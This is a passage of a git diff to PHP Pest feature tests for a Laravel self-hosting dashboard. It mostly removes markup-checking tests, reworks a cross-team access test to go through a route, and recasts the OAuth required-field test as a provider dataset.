(string $action, array $parameters) {Queue::fake();@@ -1283,43 +1187,6 @@ it('still checks domain conflicts when inheriting a redirect counterpart port',->and($this->webApp->fresh()->domain_port_overrides['https://www.example.com'])->toBe(8080);});-it('renders domain settings in compact columns instead of a second summary line', function () {- $html = Livewire::test(Domains::class, ['service' => $this->service->fresh(['applications', 'server'])])->html();- foreach (['Protocol redirect', 'Domain redirect', 'Internal port', 'Search indexing'] as $heading) {- expect($html)->toContain('<span>'.$heading.'</span>');- }- $view = file_get_contents(resource_path('views/livewire/project/service/partials/domain-table.blade.php'));- expect($view)->toContain('service-domain-detail')- ->not->toContain('gap-x-3 gap-y-1');-});--it('renders each domain table header below its service heading', function () {- $view = file_get_contents(resource_path('views/livewire/project/service/domains.blade.php'));- $serviceHeadingPosition = strpos($view, 'service-domain-group-{{ $appId }}');- $domainTablePosition = strpos($view, "'showHeader' => true");-- expect($view)- ->not->toContain('<div class="data-table-header service-domains-overview-grid">')- ->and($serviceHeadingPosition)->not->toBeFalse()- ->and($domainTablePosition)->not->toBeFalse()- ->and($domainTablePosition)->toBeGreaterThan($serviceHeadingPosition);-});--it('renders each service domain group as a separate card', function () {- $view = file_get_contents(resource_path('views/livewire/project/service/domains.blade.php'));-- expect($view)- ->toContain('class="flex flex-col gap-3"')- ->toContain('class="application-settings-section-body is-flush overflow-visible"')- ->not->toContain('class="border-b border-neutral-200 last:border-b-0 dark:border-white/10"');-});--it('lays out the domain settings dropdowns in responsive columns', function () {- $view = file_get_contents(resource_path('views/livewire/project/service/domains.blade.php'));- expect($view)->toContain('mt-4 grid grid-cols-1 gap-4 border-t border-neutral-200 pt-4 sm:grid-cols-2')- ->toContain('flex flex-wrap items-center justify-between gap-2');-});-it('restarts a service dns check when the domain already has a completed result', function () {Queue::fake();diff --git a/tests/Feature/ServiceExtraFieldsTest.php b/tests/Feature/ServiceExtraFieldsTest.phpindex 2a521f97ee..4274de43fe 100644--- a/tests/Feature/ServiceExtraFieldsTest.php+++ b/tests/Feature/ServiceExtraFieldsTest.php@@ -64,11 +64,14 @@ it('exposes Jean Server authentication and access settings', function () {'rules' => 'required','isPassword' => true,'sortOrder' => 1,+ 'customHelper' => 'Token required to access Jean Server. Variable name: SERVICE_PASSWORD_64_JEAN',],'Allowed Origins' => ['key' => 'JEAN_ALLOWED_ORIGINS','value' => 'https://jean.example.com',+ 'rules' => 'nullable|string','sortOrder' => 2,+ 'customHelper' => 'Comma-separated additional browser origins. Same-origin access is always allowed. Variable name: JEAN_ALLOWED_ORIGINS',],]);});diff --git a/tests/Feature/ServiceResourceRoutingTest.php b/tests/Feature/ServiceResourceRoutingTest.phpindex ede6fb6fc0..3c1aa95d59 100644--- a/tests/Feature/ServiceResourceRoutingTest.php+++ b/tests/Feature/ServiceResourceRoutingTest.php@@ -24,6 +24,8 @@ use App\Models\User;use Illuminate\Database\Eloquent\ModelNotFoundException;use Illuminate\Foundation\Testing\RefreshDatabase;use Illuminate\Pagination\LengthAwarePaginator;+use Illuminate\Routing\Route as RoutingRoute;+use Illuminate\Routing\RouteCollection;use Illuminate\Support\Facades\Config;use Illuminate\Support\Facades\Queue;use Illuminate\Support\Once;@@ -132,15 +134,27 @@ test('does not open service import backup route from another team', function ()});test('does not resolve service database import component from another team', function () {- $component = app(DatabaseImport::class);- $component->parameters = [- 'project_uuid' => $this->projectA->uuid,- 'environment_uuid' => $this->environmentA->uuid,- 'service_uuid' => $this->otherService->uuid,- 'stack_service_uuid' => $this->otherServiceDatabase->uuid,- ];-- $component->getContainers();+ // The component resolves its resource from the current route parameters on mount.+ // Register a full-page route for it ahead of the application's catch-all route.+ $importRoute = new RoutingRoute(+ ['GET', 'HEAD'],+ '_tests/service-database-import/{project_uuid}/{environment_uuid}/{service_uuid}/{stack_service_uuid}',+ ['uses' => DatabaseImport::class],+ );+ $routes = new RouteCollection;+ $routes->add($importRoute);+ foreach (app('router')->getRoutes() as $route) {+ $routes->add($route);+ }+ app('router')->setRoutes($routes);++ $this->withoutExceptionHandling()->get(implode('/', [+ '/_tests/service-database-import',+ $this->projectA->uuid,+ $this->environmentA->uuid,+ $this->otherService->uuid,+ $this->otherServiceDatabase->uuid,+ ]));})->throws(ModelNotFoundException::class);test('service heading does not hydrate with another team service', function () {@@ -507,7 +521,7 @@ test('service backups have explicit settings actions for database and storage sc$dom = new DOMDocument;@$dom->loadHTML($html);$xpath = new DOMXPath($dom);- $buttons = $xpath->query('//button[contains(., "Settings")]');+ $buttons = $xpath->query('//button[@aria-label="Edit backup schedule"]');$actions = [];foreach ($buttons as $button) {$actions[] = $button->getAttribute('wire:click.stop');diff --git a/tests/Feature/ServiceResourceSettingsPageTest.php b/tests/Feature/ServiceResourceSettingsPageTest.phpindex 114b4701b2..cd419bfed7 100644--- a/tests/Feature/ServiceResourceSettingsPageTest.php+++ b/tests/Feature/ServiceResourceSettingsPageTest.php@@ -67,9 +67,6 @@ it('shows application general and advanced settings in a resource card modal', f'parameters' => $this->parameters,])->assertSee('Resource settings')- ->assertSeeHtml('data-icon-tooltip-ignore')- ->assertSeeHtml('underline underline-offset-4')- ->assertDontSeeHtml('decoration-dotted')->assertDontSee(route('project.service.index', [...$this->parameters,'stack_service_uuid' => $this->application->uuid,@@ -98,9 +95,6 @@ it('shows database general and advanced settings in a resource card modal', func])->assertSee('Resource settings')->assertSeeLivewire(Index::class)- ->assertSeeHtml('data-icon-tooltip-ignore')- ->assertSeeHtml('underline underline-offset-4')- ->assertDontSeeHtml('decoration-dotted')->assertDontSee(route('project.service.index', [...$this->parameters,'stack_service_uuid' => $this->database->uuid,diff --git a/tests/Feature/ServiceTemplatesLastUpdatedHintTest.php b/tests/Feature/ServiceTemplatesLastUpdatedHintTest.phpindex affea0c895..325b0caaff 100644--- a/tests/Feature/ServiceTemplatesLastUpdatedHintTest.php+++ b/tests/Feature/ServiceTemplatesLastUpdatedHintTest.php@@ -4,8 +4,6 @@ use App\Livewire\Project\New\Select;use Carbon\CarbonImmutable;use Illuminate\Support\Facades\Cache;use Illuminate\Support\Facades\File;-use Illuminate\Support\Facades\View;-use Illuminate\Support\ViewErrorBag;beforeEach(function () {Cache::flush();@@ -46,12 +44,12 @@ it('returns local, CDN, and default logo fallbacks for every service', function->and($services['pydio-cells']['logo_default_url'])->toBe(asset('svgs/default.webp'));});-it('crops wide database wordmarks to their icon artwork', function () {+it('uses resource tile icons for databases', function () {$databases = collect((new Select)->loadServices()['databases'])->keyBy('id');- expect($databases['keydb']['logo'])->toContain('viewBox="0 0 160 182"')- ->and($databases['dragonfly']['logo'])->toContain('viewBox="0 0 44 44"', 'viewBox="0 0 88 88"')- ->and($databases['clickhouse']['logo'])->toContain('viewBox="0 0 24 26"');+ foreach (['keydb', 'dragonfly', 'clickhouse'] as $database) {+ expect($databases[$database]['logo'])->toBe(asset("svgs/resources/{$database}.svg"));+ }});it('prefers embedded service template git timestamps from the templates bundle', function () {@@ -100,52 +98,6 @@ it('caches parsed local service templates by bundle mtime', function () {expect($first->keys()->all())->toBe($second->keys()->all());});-it('renders the shared loading indicator while resource choices load', function () {- View::share('errors', new ViewErrorBag);-- $view = $this->view('livewire.project.new.select', [- 'current_step' => 'type',- 'environments' => collect(),- ]);-- $view->assertSee('Loading resources...', false);- $view->assertSee('animate-spin', false);- $view->assertDontSee('<div x-show="loading">Loading...</div>', false);-});--it('renders the service templates last updated hint placeholder', function () {- View::share('errors', new ViewErrorBag);-- $view = $this->view('livewire.project.new.select', [- 'current_step' => 'type',- 'environments' => collect(),- ]);-- $view->assertSee('Updated');- $view->assertSee('serviceTemplatesLastUpdated');- $view->assertSee('service.templateLastUpdated');- $view->assertSee('aria-controls="resource-type-filter-options"', false);- $view->assertSee('aria-controls="resource-category-options"', false);- $view->assertSee('@click.outside="closeCategoryFilter()"', false);- $view->assertSee('@keydown.escape.stop="closeCategoryFilter(true)"', false);-});--it('renders the local, CDN, and default service logo fallback chain', function () {- View::share('errors', new ViewErrorBag);-- $view = $this->view('livewire.project.new.select', [- 'current_step' => 'type',- 'environments' => collect(),- ]);-- $view->assertSee('service.logo_cdn_url', false);- $view->assertSee('service.logo_default_url', false);-- expect(file_get_contents(resource_path('views/livewire/global-search.blade.php')))- ->toContain('item.logo_cdn_url')- ->toContain('item.logo_default_url');-});-it('keeps service template keys for service selection and docs links', function () {$services = collect((new Select)->loadServices()['services']);$denoKv = $services->firstWhere('id', 'denoKV');@@ -153,16 +105,6 @@ it('keeps service template keys for service selection and docs links', functionexpect($denoKv)->not->toBeNull()->and($denoKv['docsSlug'])->toBe('denokv');-- View::share('errors', new ViewErrorBag);-- $view = $this->view('livewire.project.new.select', [- 'current_step' => 'type',- 'environments' => collect(),- ]);-- $view->assertSee("setType('one-click-service-' + service.id)", false);- $view->assertSee('service.docsSlug || this.extractBaseServiceName(service.name)', false);});it('preserves one click service key casing when selecting a service template', function () {diff --git a/tests/Feature/SettingsAccessListboxTest.php b/tests/Feature/SettingsAccessListboxTest.phpindex c1508bf73b..5d0f8c309b 100644--- a/tests/Feature/SettingsAccessListboxTest.php+++ b/tests/Feature/SettingsAccessListboxTest.php@@ -11,30 +11,6 @@ use Livewire\Livewire;uses(RefreshDatabase::class);-/**- * Access settings must always use the shared listbox control — not conditional- * custom Enable/Disable cards — so the Access section matches DNS/API/etc.- */-test('settings advanced access section always uses listboxes', function () {- $path = resource_path('views/livewire/settings/advanced.blade.php');- $contents = file_get_contents($path);-- expect($contents)- ->toContain('id="is_registration_enabled"')- ->toContain('id="disable_two_step_confirmation"')- ->toContain('onChange="instantSave"')- ->not->toContain('toggleRegistration')- ->not->toContain('toggleTwoStepConfirmation')- ->not->toContain('Only administrators can create accounts.')- ->not->toContain('Two-step confirmations enabled');-});--test('image storage fields use the standard settings field gap', function () {- $contents = file_get_contents(resource_path('views/livewire/settings/advanced.blade.php'));-- expect($contents)->toContain('<div class="flex max-w-md flex-col gap-4">');-});-test('instance admin can toggle registration via listbox instantSave', function () {$rootTeam = Team::find(0) ?? Team::factory()->create(['id' => 0]);Server::factory()->create(['id' => 0, 'team_id' => $rootTeam->id]);diff --git a/tests/Feature/SettingsBackupEmptyStateTest.php b/tests/Feature/SettingsBackupEmptyStateTest.phpindex 079a8c8603..3811c850e3 100644--- a/tests/Feature/SettingsBackupEmptyStateTest.php+++ b/tests/Feature/SettingsBackupEmptyStateTest.php@@ -40,7 +40,7 @@ test('empty component renders the contents slot for backward compatibility', fun->toContain('Enable metrics');});-test('empty component prefers the actions slot when both action slots are provided', function () {+test('empty component renders only the contents slot when both action slots are provided', function () {$html = Blade::render(<<<'BLADE'<x-empty title="Conflict check" size="sm"><x-slot:actions>@@ -53,8 +53,8 @@ test('empty component prefers the actions slot when both action slots are providBLADE);expect($html)- ->toContain('From actions')- ->not->toContain('From contents');+ ->toContain('From contents')+ ->not->toContain('From actions');});test('instance backup settings show a configure button when backup is not set up', function () {diff --git a/tests/Feature/SettingsDropdownTest.php b/tests/Feature/SettingsDropdownTest.phpindex a0f7ec90b3..8bafc93639 100644--- a/tests/Feature/SettingsDropdownTest.php+++ b/tests/Feature/SettingsDropdownTest.php@@ -52,16 +52,6 @@ it('renders the changelog modal above the desktop sidebar toggle', function () {->toContain('absolute right-2 top-2');});-it('keeps the account menu mounted while the changelog modal opens', function () {- $dropdownView = file_get_contents(resource_path('views/livewire/settings-dropdown.blade.php'));- $accountMenuView = file_get_contents(resource_path('views/components/top-user-menu.blade.php'));-- expect($dropdownView)- ->not->toContain('wire:click="openWhatsNewModal" @click="open = false"')- ->and($accountMenuView)- ->not->toContain('@whats-new-opened.window="open = false"');-});-it('opens the changelog modal when there are no entries', function () {$user = new User(['email' => '[email protected]']);$user->id = 1;diff --git a/tests/Feature/SettingsEmailSendTestPlacementTest.php b/tests/Feature/SettingsEmailSendTestPlacementTest.phpindex 48da911550..76f557a782 100644--- a/tests/Feature/SettingsEmailSendTestPlacementTest.php+++ b/tests/Feature/SettingsEmailSendTestPlacementTest.php@@ -29,7 +29,7 @@ function setupInstanceAdminWithTransactionalEmail(): Userreturn $user;}-test('send test is available in the sender section and not in the settings navbar', function () {+test('send test is available when transactional email is enabled', function () {$user = setupInstanceAdminWithTransactionalEmail();$this->actingAs($user);@@ -38,16 +38,7 @@ test('send test is available in the sender section and not in the settings navbaLivewire::test(SettingsEmail::class)->assertOk()->assertSee('Sender')- ->assertSee('Send test')- ->assertSeeHtml('wire:submit.prevent="sendTestEmail"');-- $view = file_get_contents(resource_path('views/livewire/settings-email.blade.php'));-- expect($view)- ->toContain('<x-settings.layout>')- ->toContain('settings-section title="Sender"')- ->toContain('settings-email-send-test')- ->not->toContain('<x-settings.navbar');+ ->assertSee('Send test');});test('send test is not rendered when transactional email is disabled', function () {diff --git a/tests/Feature/SettingsEmailSmtpSetupTest.php b/tests/Feature/SettingsEmailSmtpSetupTest.phpindex cbe401191d..436a3ef46a 100644--- a/tests/Feature/SettingsEmailSmtpSetupTest.php+++ b/tests/Feature/SettingsEmailSmtpSetupTest.php@@ -150,11 +150,3 @@ test('enabling resend still requires an api key', function () {expect(InstanceSettings::find(0)->resend_enabled)->toBeFalse();});--test('email settings page has a single unsaved bar so smtp save cannot hit resend validation', function () {- $view = file_get_contents(resource_path('views/livewire/settings-email.blade.php'));-- expect(substr_count($view, '<x-unsaved-bar'))->toBe(1)- ->and($view)->toContain('action="submit"')- ->and($view)->not->toContain('action="submitResend"');-});diff --git a/tests/Feature/SettingsOauthProviderControlsTest.php b/tests/Feature/SettingsOauthProviderControlsTest.phpindex 21956af9ba..6746f04d79 100644--- a/tests/Feature/SettingsOauthProviderControlsTest.php+++ b/tests/Feature/SettingsOauthProviderControlsTest.php@@ -1,76 +1,25 @@<?php-use App\Livewire\SettingsOauth;--it('uses per-provider enable buttons with browser validation', function () {- $view = file_get_contents(resource_path('views/livewire/settings-oauth.blade.php'));-- expect($view)- ->toContain("{{ \$oauth_setting['enabled'] ? 'Disable' : 'Enable' }}")- ->toContain('x-data="{ enabled: @js((bool) $oauth_setting[\'enabled\']), provider: @js($provider) }"')- ->toContain('invalidField.reportValidity()')- ->toContain('$wire.toggleProvider(provider)')- ->toContain('label="Client ID" required')- ->toContain('autocomplete="new-password" required')- ->not->toContain('label="Provider status"');-});--it('requires the provider-specific fields used by oauth enablement', function () {- $component = new SettingsOauth;- $method = new ReflectionMethod($component, 'providerRules');-- expect($method->invoke($component, 'github'))->toBe([- 'oauth_settings_map.github.client_id' => 'required',- 'oauth_settings_map.github.client_secret' => 'required',- ])->and($method->invoke($component, 'azure'))->toHaveKeys([- 'oauth_settings_map.azure.client_id',- 'oauth_settings_map.azure.client_secret',- 'oauth_settings_map.azure.tenant',- ])->and($method->invoke($component, 'authentik'))->toHaveKeys([- 'oauth_settings_map.authentik.client_id',- 'oauth_settings_map.authentik.client_secret',- 'oauth_settings_map.authentik.base_url',- ]);-});--it('uses monochrome brand logos for each oauth provider in the sidebar', function () {- $view = file_get_contents(resource_path('views/livewire/settings-oauth.blade.php'));-- $providers = [- 'authentik',- 'azure',- 'bitbucket',- 'clerk',- 'discord',- 'github',- 'gitlab',- 'google',- 'infomaniak',- 'zitadel',+use App\Models\OauthSetting;++it('requires the provider-specific fields used by oauth enablement', function (string $provider, array $requiredFields) {+ $complete = [+ 'provider' => $provider,+ 'client_id' => 'client-id',+ 'client_secret' => 'client-secret',+ 'tenant' => 'tenant-id',+ 'base_url' => 'https://auth.example.com',];- expect($view)- ->toContain("asset('svgs/' . \$provider . '.svg')")- ->toContain('mask:')- ->toContain('bg-current')- ->not->toContain('<x-reicon name="keys" class="menu-item-icon" />');-- foreach ($providers as $provider) {- $svg = public_path("svgs/{$provider}.svg");-- expect($svg)->toBeFile();+ expect((new OauthSetting($complete))->couldBeEnabled())->toBeTrue();- $contents = file_get_contents($svg);-- expect($contents)- ->toContain('<svg')- ->toContain('<path')- ->not->toMatch('/fill="#[0-9a-fA-F]{3,8}"/')- ->not->toContain('fill="#e24329"')- ->not->toContain('fill="#4285F4"');+ foreach ($requiredFields as $field) {+ expect((new OauthSetting([...$complete, $field => null]))->couldBeEnabled())+ ->toBeFalse("{$provider} must require {$field}");}-- // Keep GitLab at the natural simple-icons 24x24 mark (no optical scale).- expect(file_get_contents(public_path('svgs/gitlab.svg')))- ->not->toContain('scale(');-});+})->with([+ 'github' => ['github', ['client_id', 'client_secret']],+ 'azure' => ['azure', ['client_id', 'client_secret', 'tenant']],+ 'authentik' => ['authentik', ['client_id', 'client_secret', 'base_url']],+ 'clerk' => ['clerk', ['client_id', 'client_secret', 'base_url']],+]);diff --git a/tests/Feature/SettingsOauthTest.php b/tests/Feature/SettingsOauthTest.phpindex 95ea47e948..23456e688c 100644--- a/tests/Feature/SettingsOauthTest.php+++ b/tests/Feature/SettingsOauthTest.php@@ -36,7 +36,7 @@ beforeEach(function () {OauthSetting::create(['provider' => 'bitbucket']);});-it('uses the standard settings design and keeps every oauth provider on one page', function () {+it('keeps every oauth provider on one page', function () {actingAsInstanceAdmin();$this->withoutMiddleware(DecideWhatToDoWithUser::class)@@ -49,7 +49,6 @@ it('uses the standard settings design and keeps every oauth provider on one page->assertSee('OpenID Connect')->assertSee('Disable password registration when OAuth is enabled')->assertSee('Client secret')- ->assertSee('application-settings-form', false)->assertDontSee(route('settings.oauth.provider', 'authentik'), false);});@@ -65,15 +64,9 @@ it('has an icon for openid connect', function () {expect(public_path('svgs/oidc.svg'))->toBeFile();});-it('auto saves registration policy without a general save button', function () {+it('auto saves registration policy', function () {actingAsInstanceAdmin();- $this->withoutMiddleware(DecideWhatToDoWithUser::class)- ->get(route('settings.oauth'))- ->assertSuccessful()- ->assertSee("wire:click='saveRegistrationPolicy'", false)- ->assertDontSee('Save</button>', false);-Livewire::test(SettingsOauth::class)->set('disable_registration_when_oauth_enabled', true)->call('saveRegistrationPolicy')@@ -94,39 +87,7 @@ it('shows oidc fields with a naked okta issuer url example', function () {->assertDontSee('/oauth2/default', false);});-it('groups oidc fields in the expected desktop order', function () {- $view = file_get_contents(resource_path('views/livewire/settings-oauth.blade.php'));- $fields = [- 'redirect_uri',- 'base_url',- 'client_id',- 'client_secret',- 'scopes',- 'clock_skew_seconds',- 'custom_label',- ];- $positions = array_map(- fn (string $field): int|false => strpos($view, "id=\"oauth_settings_map.{{ \$provider }}.$field\""),- $fields,- );-- expect($positions)->not->toContain(false)- ->and($positions)->toBe(collect($positions)->sort()->values()->all())- ->and($view)->toContain('<div class="lg:col-span-2">');-});--it('shows provider enable controls as settings section actions', function () {- actingAsInstanceAdmin();-- $this->withoutMiddleware(DecideWhatToDoWithUser::class)- ->get(route('settings.oauth'))- ->assertSuccessful()- ->assertSee('Enable')- ->assertDontSee('label="Enabled"', false)- ->assertDontSee('p-4 border dark:border-coolgray-300 border-neutral-200', false);-});--it('stacks oidc option checkboxes vertically', function () {+it('shows oidc option checkboxes', function () {actingAsInstanceAdmin();$this->withoutMiddleware(DecideWhatToDoWithUser::class)@@ -134,8 +95,7 @@ it('stacks oidc option checkboxes vertically', function () {->assertSuccessful()->assertSee('Allow OIDC user creation')->assertSee('Require verified email')- ->assertSee('Use PKCE')- ->assertDontSee('flex flex-col gap-2 pt-2 md:flex-row', false);+ ->assertSee('Use PKCE');});it('does not show unknown oauth providers', function () {diff --git a/tests/Feature/SidebarNavigationPreferencesTest.php b/tests/Feature/SidebarNavigationPreferencesTest.phpindex 63511b6552..f69ed7b836 100644--- a/tests/Feature/SidebarNavigationPreferencesTest.php+++ b/tests/Feature/SidebarNavigationPreferencesTest.php@@ -2,48 +2,6 @@use App\Livewire\SettingsDropdown;-it('keeps changelog in the sidebar without a dedicated theme switcher', function () {- $navbarView = file_get_contents(resource_path('views/components/navbar.blade.php'));-- expect($navbarView)- ->toContain('<livewire:settings-dropdown trigger="changelog-sidebar" />')- ->not->toContain('<livewire:settings-dropdown />')- ->not->toContain('<span class="text-left menu-item-label">Theme</span>')- ->not->toContain('Click to change theme.')- ->not->toContain('cycleTheme()')- ->toContain('this.queryTheme();')- ->toContain('pl-2 pr-3 items-start gap-3')- ->toContain('class="flex min-w-0 flex-1 flex-col"')- ->toContain('class="min-w-0 flex-1"')- ->toContain('class="flex h-8 w-full items-center justify-between');-});--it('keeps changelog and appearance options out of the preferences dropdown', function () {- $dropdownView = file_get_contents(resource_path('views/livewire/settings-dropdown.blade.php'));-- expect($dropdownView)- ->toContain("\$trigger === 'changelog-sidebar'")- ->toContain('title="What\'s New"')- ->toContain('aria-label="What\'s New"')- ->toContain('wire:click="openWhatsNewModal"')- ->toContain('class="relative text-left menu-item"')- ->toContain('class="text-left menu-item-label"')- ->toContain('class="absolute right-2 top-1/2 -translate-y-1/2 bg-error')- ->toContain("What's New</span>")- ->toContain('M9.813 15.904 9 18.75')- ->not->toContain('<span>Changelog</span>')- ->not->toContain('Appearance</div>')- ->not->toContain('switchWidth')- ->not->toContain('setZoom')- ->not->toContain("localStorage.setItem('pageWidth'")- ->not->toContain("localStorage.setItem('zoom'")- ->not->toContain('>Width</div>')- ->not->toContain('>Zoom</div>')- ->not->toContain("@click=\"setTheme('dark'); dropdownOpen = false\"")- ->not->toContain("@click=\"setTheme('light'); dropdownOpen = false\"")- ->not->toContain("@click=\"setTheme('system'); dropdownOpen = false\"");-});-it('opens and closes the changelog modal state', function () {$component = new SettingsDropdown;$component->trigger = 'changelog-sidebar';@@ -59,11 +17,3 @@ it('opens and closes the changelog modal state', function () {expect($component->showWhatsNewModal)->toBeFalse();});--it('uses the default button palette for the changelog fetch action in light mode', function () {- $dropdownView = file_get_contents(resource_path('views/livewire/settings-dropdown.blade.php'));-- expect($dropdownView)- ->toContain('wire:click="manualFetchChangelog"')- ->not->toContain('bg-coolgray-200 hover:bg-coolgray-300');-});diff --git a/tests/Feature/StandardTableComponentsTest.php b/tests/Feature/StandardTableComponentsTest.phpindex 30437c05b5..b2096e65c3 100644--- a/tests/Feature/StandardTableComponentsTest.php+++ b/tests/Feature/StandardTableComponentsTest.php@@ -1,13 +1,6 @@<?phpuse Illuminate\Support\Facades\Blade;-use Illuminate\Support\Facades\File;--it('contains wide data tables without overflowing their layout', function () {- $css = file_get_contents(resource_path('css/app.css'));-- expect($css)->toContain(".data-table {\n min-width: 0;\n max-width: 100%;\n overflow-x: auto;");-});it('renders the standard table toolbar controls', function () {$html = Blade::render(<<<'BLADE'@@ -41,72 +34,3 @@ it('renders the standard table toolbar controls', function () {->toContain('wire:click="clearFilters"')->toContain('Sort');});--it('does not load a global floating dropdown positioning provider', function () {- $layout = file_get_contents(resource_path('views/layouts/base.blade.php'));-- expect($layout)->not->toContain("@include('components.floating-dropdown-script')")- ->and(File::exists(resource_path('views/components/floating-dropdown-script.blade.php')))->toBeFalse();-});--it('renders the standard table loading overlay', function () {- $html = Blade::render('<div class="relative"><x-table.loading target="applyFilters" text="Loading records..." /></div>');-- expect($html)- ->toContain('table-loading-overlay')- ->toContain('wire:loading.flex')- ->toContain('wire:target="applyFilters"')- ->toContain('[&_.loading-indicator]:size-5')- ->toContain('aria-label="Loading records..."')- ->not->toContain('<span>Loading records...</span>');-});--it('uses shared table controls on backend filtered tables', function () {- $deployments = file_get_contents(resource_path('views/livewire/project/application/deployment/index.blade.php'));- $environmentVariables = file_get_contents(resource_path('views/livewire/project/shared/environment-variable/all.blade.php'));-- foreach ([$deployments, $environmentVariables] as $view) {- expect($view)- ->toContain('<x-table.toolbar')- ->toContain('<x-table.search')- ->toContain('<x-table.filter')- ->toContain('<x-table.sort')- ->toContain('<x-table.loading');- }-});--it('uses the standard search control for frontend filtered infrastructure tables', function () {- $controls = file_get_contents(resource_path('views/livewire/shared/list-search-controls.blade.php'));-- expect($controls)- ->toContain('<x-table.search')- ->toContain('clear-when="search"')- ->toContain("clear-action=\"search = ''\"");-});--it('uses the collision aware dropdown on the projects page', function () {- $projects = file_get_contents(resource_path('views/livewire/project/index.blade.php'));-- expect($projects)- ->toContain('<x-table.dropdown')- ->not->toContain('x-show="sortOpen"');-});--it('uses collision aware filter and sort dropdowns on the resources page', function () {- $resources = file_get_contents(resource_path('views/livewire/project/resource/index.blade.php'));-- expect(substr_count($resources, '<x-table.dropdown'))->toBeGreaterThanOrEqual(2)- ->and($resources)- ->not->toContain('x-show="filterOpen"')- ->not->toContain('x-show="sortOpen"');-});--it('does not use legacy floating sort or filter panels', function () {- $views = collect(File::allFiles(resource_path('views')))- ->filter(fn (SplFileInfo $file): bool => $file->getExtension() === 'php')- ->map(fn (SplFileInfo $file): string => $file->getContents())- ->implode("\n");-- expect($views)- ->not->toMatch('/x-show="(?:sortOpen|filterOpen|filtersOpen)"/');-});diff --git a/tests/Feature/StorageSettingsLayoutTest.php b/tests/Feature/StorageSettingsLayoutTest.phpindex 50c3c723e9..759245dcd7 100644--- a/tests/Feature/StorageSettingsLayoutTest.php+++ b/tests/Feature/StorageSettingsLayoutTest.php@@ -24,47 +24,6 @@ beforeEach(function () {]);});-it('places the storage name and connection status in breadcrumbs and delete in the danger zone', function () {- $view = file_get_contents(resource_path('views/livewire/storage/show.blade.php'));- $navbar = file_get_contents(resource_path('views/components/dashboard/navbar.blade.php'));-- expect($view)- ->toContain(':mobileTitleOnly="true"')- ->not->toContain('<x-slot:titleMeta>')- ->toContain('storage.danger')- ->toContain('Danger Zone')- ->toContain('storage-danger-section')- ->toContain("'label' => 'Resources'")- ->toContain("'active' => \$currentRoute === 'storage.resources'")- ->toContain('submitAction="delete"');-- expect(file_get_contents(app_path('Livewire/Storage/Form.php')))- ->toContain("dispatch('storage-status-changed'");- expect(file_get_contents(app_path('Livewire/Storage/Show.php')))- ->toContain("#[On('storage-status-changed')]")- ->toContain('$this->storage->refresh();');-- expect(file_get_contents(resource_path('views/components/top-breadcrumb.blade.php')))- ->toContain('x-breadcrumb-switcher')- ->toContain('$currentStorage->name')- ->toContain("route('storage.show'")- ->toContain("usable ? 'Connected' : 'Not usable'")- ->toContain('@storage-status-changed.window');- expect(file_get_contents(resource_path('views/components/breadcrumb-switcher.blade.php')))- ->toContain('{{ $title }}')- ->not->toContain('name="check-circle"');- expect(file_get_contents(resource_path('views/livewire/storage/index.blade.php')))- ->toContain('label="Connected"')- ->not->toContain('label="Ready"');-- expect($navbar)- ->toContain("request()->routeIs('storage.show', 'storage.danger', 'storage.resources')")- ->not->toContain("['label' => 'Resources', 'route' => 'storage.resources'");-- expect(file_get_contents(base_path('routes/web.php')))- ->toContain("->name('storage.danger')");-});-it('renders the danger zone page for a storage destination', function () {$storage = S3Storage::create(['uuid' => (string) str()->uuid(),diff --git a/tests/Feature/Subscription/SubscriptionPricingPageTest.php b/tests/Feature/Subscription/SubscriptionPricingPageTest.phpindex f411d6425e..809c952ec3 100644--- a/tests/Feature/Subscription/SubscriptionPricingPageTest.php+++ b/tests/Feature/Subscription/SubscriptionPricingPageTest.php@@ -93,57 +93,6 @@ test('subscribed cloud sidebar shows subscription link for team admins', functio->toContain(route('subscription.show'));});-test('subscription adjustment modal is protected from livewire morphing', function () {- $view = file_get_contents(resource_path('views/livewire/subscription/actions.blade.php'));-- expect($view)- ->toContain('<div wire:init="loadRefundEligibility" class="application-settings-workspace flex flex-col gap-6" x-data="{')- ->toContain('<template x-teleport="body" wire:ignore>');-});--test('subscription pricing page does not render a single-item pricing tab strip', function () {- $html = view('components.dashboard.navbar', [- 'section' => 'subscription',- 'title' => 'Subscription',- 'subtitle' => 'Choose a plan',- ])->render();-- expect($html)- ->toContain('Subscription')- ->toContain('Choose a plan')- ->not->toContain('app-tab')- ->and($html)->not->toContain(route('subscription.index'));-});--test('subscription plan page does not render a single-item plan tab strip', function () {- Subscription::create([- 'team_id' => $this->team->id,- 'stripe_subscription_id' => 'sub_active',- 'stripe_customer_id' => 'cus_active',- 'stripe_invoice_paid' => true,- 'stripe_plan_id' => 'price_active',- 'stripe_cancel_at_period_end' => false,- 'stripe_past_due' => false,- ]);-- // Refresh memoized subscription helpers after creating the row.- Once::flush();- session(['currentTeam' => $this->team->fresh()]);-- $html = view('components.dashboard.navbar', [- 'section' => 'subscription',- 'title' => 'Subscription',- 'subtitle' => 'Plan and billing',- ])->render();-- expect($html)- ->toContain('Subscription')- ->toContain('Plan and billing')- ->not->toContain('app-tab')- ->and($html)->not->toContain(route('subscription.show'))- ->and($html)->not->toContain(route('subscription.index'));-});-test('Stripe API failures show an error without redirecting or retrying checkout', function () {config()->set('subscription.stripe_price_id_dynamic_monthly', 'price_monthly');$this->mock(CreateCheckoutSession::class)diff --git a/tests/Feature/TablePaginationLoadingTest.php b/tests/Feature/TablePaginationLoadingTest.phpindex 994ad3440c..1ba5fd3ede 100644--- a/tests/Feature/TablePaginationLoadingTest.php+++ b/tests/Feature/TablePaginationLoadingTest.php@@ -3,34 +3,6 @@use Illuminate\Support\Facades\Blade;use Illuminate\Support\Facades\Gate;-it('renders the shared page size selector', function () {- $html = Blade::render('<x-page-size-select model="perPage" livewire storage-key="tests.page-size" />');-- expect($html)- ->toContain('aria-label="Items per page"')- ->toContain('aria-haspopup="listbox"')- ->toContain('role="listbox"')- ->toContain("\$wire.set('perPage'")- ->toContain('h-7!')- ->toContain('w-12!')- ->toContain('selectedPageSize')- ->toContain('border-0')- ->toContain('text-[11px]!')- ->toContain('mb-0!')- ->not->toContain('<select')- ->toContain("localStorage.getItem('tests.page-size')")- ->toContain("localStorage.setItem('tests.page-size'")- ->toContain('applyPageSize(10)')- ->toContain('applyPageSize(25)')- ->toContain('applyPageSize(50)')- ->toContain('applyPageSize(100)')- ->not->toContain('>Rows</span>');- expect($html)- ->toContain('Custom…')- ->toContain('min="1"')- ->toContain('max="100"');-});-it('disables page size controls when the gate denies access', function () {Gate::define('view-audit-log-test', fn (): bool => false);@@ -43,34 